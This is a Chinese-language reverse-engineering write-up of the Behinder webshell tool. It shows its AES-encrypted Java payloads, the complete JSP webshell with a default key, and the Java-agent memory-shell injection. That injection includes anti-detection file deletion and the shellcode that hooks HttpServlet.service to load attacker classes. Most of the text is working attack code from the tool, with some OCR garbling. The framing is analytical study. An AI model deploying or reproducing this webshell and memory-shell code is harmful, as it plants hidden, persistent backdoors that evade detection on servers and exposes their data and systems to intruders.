28                     String paramValue = (String)params.get(filedName);
29                     return super.visitField(arg0, filedName, arg2, arg3, paramValue);
30                 } else {
31                     return super.visitField(arg0, filedName, arg2, arg3, arg4);
32                 }
33             }
34         }, 1);
35         byte[] result = cw.toByteArray();
36         String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s", clsName);
37         if (!clsName.equals("LoadNativeLibrary") & true) {
38             String newClassName = getParamedClass(clsName, params);
39             result = new byte[result.length + newClassName.length];
40             System.arraycopy(result, 0, result, result.length - newClassName.length, result.length);
41             System.arraycopy(newClassName.getBytes(), 0, result, result.length - newClassName.length, newClassName.length);
42         }
43         return result;
44     }
45 }
```

Variables

- > clsName = "Echo"
- > params = (LinkedHashMap@4123) ... toString()

和PHP的加载方式有很大差别，这里仔细跟进一下，还是先获取到类的位置，然后创建一个 `ClassLoader` 对象，这个 `ClassLoader` 是 ASM 用读取和解析java字节码的，实例中存储的也是字节码文件的数组。这里应该就是 `net.rebeyond.behinder.payload.java.Echo.class` 这个类。

```
package net.rebeyond.behinder.payload.java;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Echo {
    public static String content;
    private Object Request;
    private Object Response;
    private Object Session;

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var13 = false;

        Object so;
        Method write;
        label177: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                var13 = false;
                break label177;
            } catch (Exception var17) {
                result.put("msg", var17.getMessage());
                result.put("status", "success");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result,
true).getBytes("UTF-8"))));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var14) {
                    }

                }
            }

            try {
                so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
```

```

        write.invoke(so, this.Encrypt(this.buildJson(result,
true).getBytes("UTF-8"))));
        so.getClass().getMethod("flush").invoke(so);
        so.getClass().getMethod("close").invoke(so);
    } catch (Exception var15) {
    }

    return true;
}

try {
    so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
    write = so.getClass().getMethod("write", byte[].class);
    write.invoke(so, this.Encrypt(this.buildJson(result,
true).getBytes("UTF-8"))));
    so.getClass().getMethod("flush").invoke(so);
    so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}

return true;
}

private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute",
String.class).invoke(this.Session, "u").toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
}

private String buildJson(Map entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    Iterator var5 = entity.keySet().iterator();

    while(var5.hasNext()) {
        String key = (String)var5.next();
        sb.append("\"" + key + "":");
        String value = ((String)entity.get(key)).toString();
        if (encode) {
            Class Base64;
            Object Encoder;
            if (version.compareTo("1.9") >= 0) {
                this.getClass();
                Base64 = Class.forName("java.util.Base64");
                Encoder = Base64.getMethod("getEncoder",
(Class[])null).invoke(Base64, (Object[])null);
                value = (String)Encoder.getClass().getMethod("encodeToString",
byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
            } else {
                this.getClass();
                Base64 = Class.forName("sun.misc.BASE64Encoder");

```



```

        Encoder = Base64.newInstance();
        value = (String)Encoder.getClass().getMethod("encode",
byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
        value = value.replace("\n", "").replace("\r", "");
    }
}

sb.append(value);
sb.append("\n");
}

if (sb.toString().endsWith(",")) {
    sb.setLength(sb.length() - 1);
}

sb.append("}");
return sb.toString();
}

private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
        this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
        this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
        this.Session = obj.getClass().getMethod("getSession").invoke(obj);
    } else {
        Map objMap = (Map)obj;
        this.Session = objMap.get("session");
        this.Response = objMap.get("response");
        this.Request = objMap.get("request");
    }

    this.Response.getClass().getMethod("setCharacterEncoding",
String.class).invoke(this.Response, "UTF-8");
}
}

```


之后 `classReader.accept()` 这个方法应该是 ASM 修改类字节码的方法，作用是给里面的变量赋值，这里是给 `content` 变量赋值为之前获取到随机字符串。之后将字节码进行还原得到 `result`。这里可以自己添加一个步骤，将字节码文件转换为 `.class` 文件来观看他的操作，而且之后有个奇怪的操作，会重新生成一个随机的类名将原本的类名进行替换，所有此处也需要查看之后的变化。再最后就是将修改完的字节码进行加密，然后返回。



```
ShellService.java x MainWindowController.java x Echo.java x Utils.java x 01 echo1.class x SelfUtils
Decompiled .class file, bytecode version: 52.0 (Java 8)
1 //
2 // Source code recreated from a .class file by IntelliJ IDEA
3 // (powered by FernFlower decompiler)
4 //
5
6 package net.rebeyond.behinder.payload.java;
7
8 import java.lang.reflect.Method;
9 import java.util.HashMap;
10 import java.util.Iterator;
11 import java.util.Map;
12 import javax.crypto.Cipher;
13 import javax.crypto.spec.SecretKeySpec;
14
15 public class Echo {
16     public static String content;
17     private Object Request;
18     private Object Response;
19     private Object Session;
```


```
ShellService.java x MainWindowController.java x Echo.java x Utils.java x 01 echo1.class x 01 echo2.class >
Decompiled .class file, bytecode version: 52.0 (Java 8)
1 //
2 // Source code recreated from a .class file by IntelliJ IDEA
3 // (powered by FernFlower decompiler)
4 //
5
6 package net.rebeyond.behinder.payload.java;
7
8 import java.lang.reflect.Method;
9 import java.util.HashMap;
10 import java.util.Iterator;
11 import java.util.Map;
12 import javax.crypto.Cipher;
13 import javax.crypto.spec.SecretKeySpec;
14
15 public class Echo {
16     public static String content;
17     private Object Request;
18     private Object Response;
19     private Object Session;
```

```
ShellService.java x MainWindowController.java x Echo.java x Utils.java x 01 echo1.class x 01 echo2.class x 01 echo3.class x
Decompiled .class file, bytecode version: 52.0 (Java 8)
1 //
2 // Source code recreated from a .class file by IntelliJ IDEA
3 // (powered by FernFlower decompiler)
4 //
5
6 package org.qcbywkv.kbcsfh.uvasfz;
7
8 import java.lang.reflect.Method;
9 import java.util.HashMap;
10 import java.util.Iterator;
11 import java.util.Map;
12 import javax.crypto.Cipher;
13 import javax.crypto.spec.SecretKeySpec;
14
15 public class Zsvmff {
16     public static String content;
17     private Object Request;
18     private Object Response;
19     private Object Session;
```




通过新建三路比较，得到中间差异不是很大，就是类名包名变了。

- 通过反射查看到类名替换后字节码中 content 的内容



此处因为随机替换的类名，所以替换的位置暂时先写死。可以看到的是 content 属性的值就是随机字符串。

- 之后就是熟悉的请求发送和响应包解析了



- 这里我们还是结合木马和发送的内容进行分析

```
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public class g(byte[] b) {
```

```

        return super.defineClass(b, 0, b.length);
    }
}
%><%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码
reeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
nce().equals(pageContext);
    }
%>

```

webshell的内容相对来说简单，通过 `request.getReader().readLine()` 接收的请求的数据，然后解密，之后调用类加载器加载字节码并且调用 `newInstance()` 方法创建对象，然后调用 `equals` 方法，传递的是 jsp 的 `pageContext`，也就是上下文对象，可以获取到 `request`，`response`，`session` 三个对象。然后结合 `Echo.java` 的内容，执行他的 `equals` 方法。那么执行逻辑我们已经清楚了，接下来还是查看一下经典的 `BasicInfo.java`。

```

package net.reeyond.behinder.payload.java;

import java.io.File;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BasicInfo {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public boolean equals(Object obj) {
        String result = "";
        boolean var22 = false;

        Object so;
        Method write;
        label132: {
            try {
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("<br/><font size=2
color=red>环境变量:</font><br/>");
                Map env = System.getenv();
                Iterator var5 = env.keySet().iterator();

```

```

        while(var5.hasNext()) {
            String name = (String)var5.next();
            basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
        }

        basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font>");
    }

    Properties props = System.getProperties();
    Set entrySet = props.entrySet();
    Iterator var7 = entrySet.iterator();

    while(var7.hasNext()) {
        Entry entry = (Entry)var7.next();
        basicInfo.append(entry.getKey() + " = " + entry.getValue() + "
    }

    String currentPath = (new File("")).getAbsolutePath();
    String driveList = "";
    File[] roots = File.listRoots();
    File[] var10 = roots;
    int var11 = roots.length;

    for(int var12 = 0; var12 < var11; ++var12) {
        File f = var10[var12];
        driveList = driveList + f.getPath() + ";";
    }

    String osInfo = System.getProperty("os.name") +
System.getProperty("os.version") + System.getProperty("os.arch");
    Map entity = new HashMap();
    entity.put("basicInfo", basicInfo.toString());
    entity.put("currentPath", currentPath);
    entity.put("driveList", driveList);
    entity.put("osInfo", osInfo);
    entity.put("arch", System.getProperty("os.arch"));
    result = this.buildJson(entity, true);
    var22 = false;
    break label132;
} catch (Exception var26) {
    var22 = false;
} finally {
    if (var22) {
        try {
            so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var23) {
        }

    }
}

try {

```

```

        so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
        write = so.getClass().getMethod("write", byte[].class);
        write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
        so.getClass().getMethod("flush").invoke(so);
        so.getClass().getMethod("close").invoke(so);
    } catch (Exception var24) {
    }

    return true;
}

try {
    so =
this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
    write = so.getClass().getMethod("write", byte[].class);
    write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
    so.getClass().getMethod("flush").invoke(so);
    so.getClass().getMethod("close").invoke(so);
} catch (Exception var25) {
}

return true;
}

private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute",
String.class).invoke(this.Session, "u").toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
}

private String buildJson(Map entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    Iterator var5 = entity.keySet().iterator();

    while(var5.hasNext()) {
        String key = (String)var5.next();
        sb.append("\"" + key + "\":");
        String value = ((String)entity.get(key)).toString();
        if (encode) {
            Class Base64;
            Object Encoder;
            if (version.compareTo("1.9") >= 0) {
                this.getClass();
                Base64 = Class.forName("java.util.Base64");
                Encoder = Base64.getMethod("getEncoder",
(Class[])null).invoke(Base64, (Object[])null);
                value = (String)Encoder.getClass().getMethod("encodeToString",
byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
            } else {
                this.getClass();
            }
        }
    }
}

```

```

        Base64 = Class.forName("sun.misc.BASE64Encoder");
        Encoder = Base64.newInstance();
        value = (String)Encoder.getClass().getMethod("encode",
byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
        value = value.replace("\n", "").replace("\r", "");
    }
}

sb.append(value);
sb.append("\n");
}

sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}

private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
        this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
        this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
        this.Session = obj.getClass().getMethod("getSession").invoke(obj);
    } else {
        Map objMap = (Map)obj;
        this.Session = objMap.get("session");
        this.Response = objMap.get("response");
        this.Request = objMap.get("request");
    }

    this.Response.getClass().getMethod("setCharacterEncoding",
String.class).invoke(this.Response, "UTF-8");
}
}

```

在注入内存马的时候我们是没办法获取到 `pageContext` 对象的，所以新版的冰蝎添加了一个新的方案，也就是 `this.fillContext(obj)` 方法的内容。如果传递的不是 `pageContext` 对象，那就可以通过 `HashMap` 将需要的三个参数存进去。而之后我们自定义代码也是通过这种方法实现的。

```

156 @ private void fillContext(Object obj) throws Exception {
157     if (obj.getClass().getName().indexOf("PageContext") >= 0) {
158         this.Request = obj.getClass().getMethod( name: "getRequest").invoke(obj);
159         this.Response = obj.getClass().getMethod( name: "getResponse").invoke(obj);
160         this.Session = obj.getClass().getMethod( name: "getSession").invoke(obj);
161     } else {
162         Map objMap = (Map)obj;
163         this.Session = objMap.get("session");
164         this.Response = objMap.get("response");
165         this.Request = objMap.get("request");
166     }
167
168     this.Response.getClass().getMethod( name: "setCharacterEncoding", String.class).invoke(this.Response, ...args: "UTF-8");
169 }
170 }

```

## 冰蝎内存马的实现分析

冰蝎内存马的实现使用了一种新的内存马 `java agent`，这个非常值得学习一下原理，所以这里也分析一下。关于 `javaagent` 技术的学习可以看《java基础知识的javaagent篇》。总的来说就是通过 `javaagent` 的 `agentMain` 去 hook `tomcat` 的相关函数来达到修改字节码的效果。

## ● 客户端入口

```

    pathLabel.setTextAlignment(Pos.CENTER_RIGHT);
    TextField pathText = new TextField();
    pathText.setPrefWidth(300.00);
    pathText.setPromptText(String.format("支持正则表达式, 如%smemshell.*", Utils.getContextPath(url)));
    pathText.focusedProperty().addListener((obs, oldVal, newVal) -> {
        if (pathText.getText().equals("")) {
            pathText.setText(Utils.getContextPath(url) + "memshell");
        }
    });
    CheckBox antiAgentCheckBox = new CheckBox( text: "防检测");
    Label antiAgentMemo = new Label( text: "*防检测可避免目标JVM进程被注入, 可避免内存查杀插件注入, 同时容器重启前内存马也无法再次注入");
    antiAgentMemo.setTextFill(Color.RED);
    Button cancelBtn = new Button( text: "取消");
    Button saveBtn = new Button( text: "保存");
    saveBtn.setDefaultButton(true);
    saveBtn.setOnAction((e) -> {
        String shellID = ((StringProperty)(List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_ID);
        String type = typeCombo.getValue().toString();
        this.injectMemShell(Integer.parseInt(shellID), type, pathText.getText().trim(), antiAgentCheckBox.isSelected());
        inputDialog.getDialogPane().getScene().getWindow().hide();
    });
    cancelBtn.setOnAction((e) -> {
        inputDialog.getDialogPane().getScene().getWindow().hide();
    });
    private void injectMemShell(int shellID, String type, String path, boolean isAntiAgent) {
        this.statusLabel.setText("正在插入内存马...");
        Runnable runner = () -> {
            try {
                if (!path.startsWith("/") { ... })
                Pattern.compile(path);
                JSONObject shellEntity = this.shellManager.findShell(shellID);
                ShellService shellService = new ShellService(shellEntity);
                shellService.doConnect();
                String osInfo = shellEntity.getString( key: "os");
                int osType;
                String libPath;
                if (osInfo == null || osInfo.equals("")) {
                    osType = (new SecureRandom()).nextInt( bound: 3000);
                    libPath = Utils.getRandomString(osType);
                    JSONObject basicInfoObj = new JSONObject(shellService.getBasicInfo(libPath));
                    osInfo = (new String(Base64.decode(basicInfoObj.getString( key: "osInfo")), charsetName: "UTF-8")).toLowerCase();
                }
                osType = Utils.getOSType(osInfo);
                libPath = Utils.getRandomString( length: 6);
                if (osType == Constants.OS_TYPE_WINDOWS) {
                    libPath = "c:/windows/temp/" + libPath;
                } else {
                    libPath = "/tmp/" + libPath;
                }
                shellService.uploadFile(libPath, Utils.getResourceData( filePath: "net/rebeyond/behinder/resource/tools/tools_" + osType + ".jar"));
                shellService.loadJar(libPath);
                shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString( key: "password")), isAntiAgent);
            }
        };
    }
}

```

可以看到此处会根据系统类型的不同, 上传不同的 agent 包, 然后调用 loadJar 方法加载这个上传的 Jar 包。

```

    private Object Request;
    private Object Response;
    private Object Session;

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var14 = false;

        Object so;
        Method write;
        label77: {
            try {
                var14 = true;
                this.fillContext(obj);
                URL url = (new File(libPath)).toURI().toURL();
                URLClassLoader urlClassLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
                Method add = URLClassLoader.class.getDeclaredMethod( name: "addURL", URL.class);
                add.setAccessible(true);
                add.invoke(urlClassLoader, url);
                result.put("status", "success");
                var14 = false;
                break label77;
            }
        }
    }
}

```

在加载包之后执行 shellService.injectMemShell() 方法, 然后就是之前的操作了, 现在来关注功能执行的代码 Memshell, java



- `MemShell.java#equals()->doAgentShell()`

```

43 public boolean equals(Object obj) {
44     HashMap result = new HashMap();
45     boolean var14 = false;
46
47     Object so;
48     Method write;
49     Label199: {
50         try {
51             var14 = true;
52             //在Java9及以后的版本不允许SelfAttach(即无法attach自身的进程)
53             System.setProperty("jdk.attach.allowAttachSelf", "true");
54             this.fillContext(obj);
55             if (type.equals("Agent")) { //目前应该只实现了agent木马
56                 try {
57                     this.doAgentShell(Boolean.parseBoolean(antiAgent)); //进入关键方法
58                     result.put("status", "success");
59                     result.put("msg", "MemShell Agent Injected Successfully.");
60                     var14 = false;
61                 } catch (Exception var18) {
62                     result.put("status", "fail");
63                     result.put("msg", var18.getMessage());
64                 }
65             }
66         }
67     }
68     return var14;
69 }

```

此处有一个点就是关于 `jdk.attach.allowAttachSelf`，jdk9之后不允许了，所以此处需要提前修改设置。还有其他的修改方案。[议题解析与复现--《Java内存攻击技术漫谈》（一）](#)


```

232 public void doAgentShell(boolean antiAgent) throws Exception {
233     try {
234         Class VirtualMachineCls = ClassLoader.getSystemClassLoader().loadClass("com.sun.tools.attach.VirtualMachine");
235         Method attachMethod = VirtualMachineCls.getDeclaredMethod("attach", String.class);
236         Method loadAgentMethod = VirtualMachineCls.getDeclaredMethod("loadAgent", String.class, String.class);
237         Object obj = attachMethod.invoke(VirtualMachineCls, getCurrentPID());
238         loadAgentMethod.invoke(obj, ...args: LibPath, base64encode(path) + "|" + base64encode(password));
239         String osInfo = System.getProperty("os.name").toLowerCase();
240         if (osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0 && osInfo.indexOf("linux") >= 0 && antiAgent) {
241             String fileName = "/tmp/.java_pid" + getCurrentPID();
242             (new File(fileName)).delete();
243         }
244     } catch (Exception var12) {
245         var12.printStackTrace();
246     } catch (Error var13) {
247         var13.printStackTrace();
248     } finally {
249         (new File(LibPath)).delete();
250     }
251 }
252 }

```

此处通过反射加载之前已经上传的 agent，然后会触发 agent 当中的 Agent-Class:

`net.rebeyond.behinder.payload.java.MemShell#agentmain()` 方法。这个 `libPath` 还是看上传功能的实现。



```

21  ...
22  st.compiler.ast;uses:="javassist.compiler.javassist";version="3.18.1.
23  GA",javassist.bytecode.analysis;uses:="javassist.bytecode.javassist,j
24  avassist.bytecode.stackmap";version="3.18.1.6A"
25  Ignore-Package: com.sun.jdi.request,com.sun.jdi.event,com.sun.jdi.conn
26  ect,com.sun.jdi
27  Specification-Vendor: Shigeru Chiba, www.javassist.org
28  Built-By: smarlow
29  Tool: Bnd-0.0.357
30  Bundle-Name: Javassist
31  Created-By: Apache Maven Bundle Plugin
32  Build-Jdk: 1.7.0_21
33  Bundle-Version: 3.18.1.6A
34  Bnd-LastModified: 1377882079822
35  Bundle-ManifestVersion: 2
36  Specification-Title: Javassist
37  Bundle-Description: Javassist (JAVA programming ASSISTant) makes Java
38  bytecode manipulation simple. It is a class library for editing b
39  ytecodes in Java.
40  Bundle-License: http://www.mozilla.org/MPL/MPL-1.1.html, http://www.gn
41  u.org/licenses/lgpl-2.1.html, http://www.apache.org/licenses/
42  Bundle-SymbolicName: javassist
43  Specification-Version: 3.18.0-GA
44  Main-Class: javassist.CtClass
45  Agent-Class: net.rebeyond.behinder.payload.java.MemShell
46  Can-Redefine-Classes: true

```

- `agentmain` 方法

```

Class[] cClasses = inst.getAllLoadedClasses(); //当前jvm加载的所有类
byte[] data = new byte[0];

```



```

Map targetClasses = new HashMap();
Map targetClassJavaxMap = new HashMap();
targetClassJavaxMap.put("methodName", "service");
List paramJavaxClsStrList = new ArrayList();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map targetClassJakartaMap = new HashMap(); //这一个处理是为了忽略tomcat改变带
来的包名变化
targetClassJakartaMap.put("methodName", "service");
List paramJakartaClsStrList = new ArrayList();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet",
targetClassJakartaMap);
String getCoreObject = "javax.servlet.http.HttpServletRequest request=
(javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse
response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession
session = request.getSession();\n";
ClassPool cPool = ClassPool.getDefault();
if (ServerDetector.iswebLogic()) {
    targetClasses.clear();
    Map targetClassWeblogicMap = new HashMap();
    targetClassWeblogicMap.put("methodName", "execute");
    List paramWeblogicClsStrList = new ArrayList();
    paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
    paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
    targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
    targetClasses.put("weblogic.servlet.internal.ServletStubImpl",
targetClassWeblogicMap);
}

```

```
String shellCode = "javax.servlet.http.HttpServletRequest request=
(javaxavax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse
response = (javax.servlet.HttpServletResponse)$2;\njavax.servlet.http.HttpSession
session = request.getSession();\nString pathPattern=\"%s\";\nif
(request.getRequestURI().matches(pathPattern))\n{\n\tjava.util.Map obj=new
java.util.HashMap();\n\tobj.put(\"request\",request);\n\tobj.put(\"response\",re
sponse);\n\tobj.put(\"session\",session);\n\tClassLoader
loader=this.getClass().getClassLoader();\n\tif
(request.getMethod().equals(\"POST\"))\n\t{\n\t\ttry\n\t\t{\n\t\t\tString
k=\"%s\";\n\t\t\tsession.putValue(\"u\",k);\n\t\t\tjava.lang.ClassLoader
systemLoader=java.lang.ClassLoader.getSystemClassLoader();\n\t\t\tClass
cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");\n\t\t\tObject
c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[]
{String.class}).invoke((java.lang.Object)cipherCls,new Object[]
{\"AES\"});\n\t\t\tObject
keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredCo
nstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]
{k.getBytes(),\"AES\"});\n\t\t\tjava.lang.reflect.Method
initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[]
{int.class,systemLoader.loadClass(\"java.security.Key\")});\n\t\t\tinitMethod.in
voke(c,new Object[]{new Integer(2),keyObj});\n\t\t\tjava.lang.reflect.Method
doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[]
{byte[].class});\n\t\t\tbyte[] requestBody=null;\n\t\t\ttry {\n
\t\t\t\tClass Base64 = loader.loadClass(\"sun.misc.BASE64Decoder\");\n\t\t\t\tO
bject Decoder = Base64.newInstance();\n\t\t\t\trequestBody=
(byte[]) Decoder.getClass().getMethod(\"decodeBuffer\", new Class[]
{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n
\t\t\t} catch (Exception ex) {\n
\t\t\t\tClass Base64 = loader.loadClass(\"java.util.Base64\");\n\t\t\t\tO
bject Decoder = Base64.getDeclaredMethod(\"getDecoder\",new
Class[0]).invoke(null, new Object[0]);\n\t\t\t\trequestBody=
(byte[])Decoder.getClass().getMethod(\"decode\", new Class[]
{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n
\t\t\t}\n\t\t\tbyte[] buf=
(byte[])doFinalMethod.invoke(c,new Object[]
{requestBody});\n\t\t\tjava.lang.reflect.Method
defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new
Class[]
{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\n
\t\t\tdefineMethod.setAccessible(true);\n\t\t\tjava.lang.reflect.Constructor
constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new
Class[]
{java.lang.ClassLoader.class});\n\t\t\tconstructor.setAccessible(true);\n\t\t\tj
ava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new
Object[]{loader});\n\t\t\tjava.lang.Class c=
(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]
{null,java.nio.ByteBuffer.wrap(buf),null});\n\t\t\ttc.newInstance().equals(obj);\n
\t\t}\n\t\tcatch (java.lang.Exception e)\n\t\t{\n\t\t\te.printStackTrace();\n\t\t\tcatch (java.lang.Error
error)\n\t\t\t{\n\t\t\t\tterror.printStackTrace();\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t}\n";
Class[] var28 = classes;
int var13 = classes.length;

for(int var14 = 0; var14 < var13; ++var14) {
    class cls = var28[var14];
    if (targetClasses.keySet().contains(cls.getName())) { //所有加载的类对象如
果存在javax.servlet.http.HttpServlet
        String targetClassName = cls.getName();
```

```

try {
    String path = new String(base64decode(args.split("\\|")[0]));
    String key = new String(base64decode(args.split("\\|")[1]));
    shellCode = String.format(shellCode, path, key);
    if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
        shellCode = shellCode.replace("javax.servlet",
"jakarta.servlet");
    }

    ClassClassPath classPath = new ClassClassPath(cIs);
    cPool.insertClassPath(classPath);
    cPool.importPackage("java.lang.reflect.Method");
    cPool.importPackage("javax.crypto.Cipher");
    List paramClsList = new ArrayList();
    Iterator var21 = ((List)
((Map)targetClasses.get(targetClassName)).get("paramList")).iterator();

    String methodName;
    while(var21.hasNext()) {
        methodName = (String)var21.next();
        paramClsList.add(cPool.get(methodName));
    }

    CtClass cClass = cPool.get(targetClassName);
    methodName =
((Map)targetClasses.get(targetClassName)).get("methodName").toString();
    CtMethod cMethod = cClass.getDeclaredMethod(methodName,
(CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()]));
    cMethod.insertBefore(shellCode);
    cClass.detach();
    data = cClass.toBytecode();
    inst.redefineClasses(new ClassDefinition[]{new
ClassDefinition(cIs, data)});
    } catch (Exception var24) {
        var24.printStackTrace();
    } catch (Error var25) {
        var25.printStackTrace();
    }
}
}

```

这个 `agentMain` 方法其实很简单，就是遍历加载的全部类，然后 Hook `javax.servlet.http.HttpServlet` 这个类（不同的中间件，不同的版本可能存在差别），然后修改他的 `service()` 方法。我们把他扒出来单独找份 `tomcat` 来跑一下，看看被修改后的 `HttpServlet` 类

- `shellcode` 变量的内容

```

javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest)
$1;
    javax.servlet.http.HttpServletResponse response =
(javax.servlet.ServletResponse) $2;
    javax.servlet.http.HttpSession session = request.getSession();
    String pathPattern = "%s";
    if (request.getRequestURI().matches(pathPattern)) {
        java.util.Map obj = new java.util.HashMap();

```

```

        obj.put("request", request);
        obj.put("response", response);
        obj.put("session", session);
        ClassLoader loader = this.getClass().getClassLoader();
        if (request.getMethod().equals("POST")) {
            try {
                String k = "%s";
                session.putValue("u", k);

                java.lang.ClassLoader systemLoader =
java.lang.ClassLoader.getSystemClassLoader();
                Class cipherCls =
systemLoader.loadClass("javax.crypto.Cipher");
                Object c = cipherCls.getDeclaredMethod("getInstance", new
Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]
{"AES"});
                Object keyObj =
systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor
(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(),
"AES"});
                ;

                java.lang.reflect.Method initMethod =
cipherCls.getDeclaredMethod("init", new Class[]{int.class,
systemLoader.loadClass("java.security.Key")});
                initMethod.invoke(c, new Object[]{new Integer(2), keyObj});
                java.lang.reflect.Method doFinalMethod =
cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
                byte[] requestBody = null;
                try {
                    Class Base64 =
loader.loadClass("sun.misc.BASE64Decoder");
                    Object Decoder = Base64.newInstance();
                    requestBody = (byte[])
Decoder.getClass().getMethod("decodeBuffer", new Class[]
{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                } catch (Exception ex) {
                    Class Base64 = loader.loadClass("java.util.Base64");
                    Object Decoder = Base64.getDeclaredMethod("getDecoder",
new Class[0]).invoke(null, new Object[0]);
                    requestBody = (byte[])
Decoder.getClass().getMethod("decode", new Class[]
{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                }

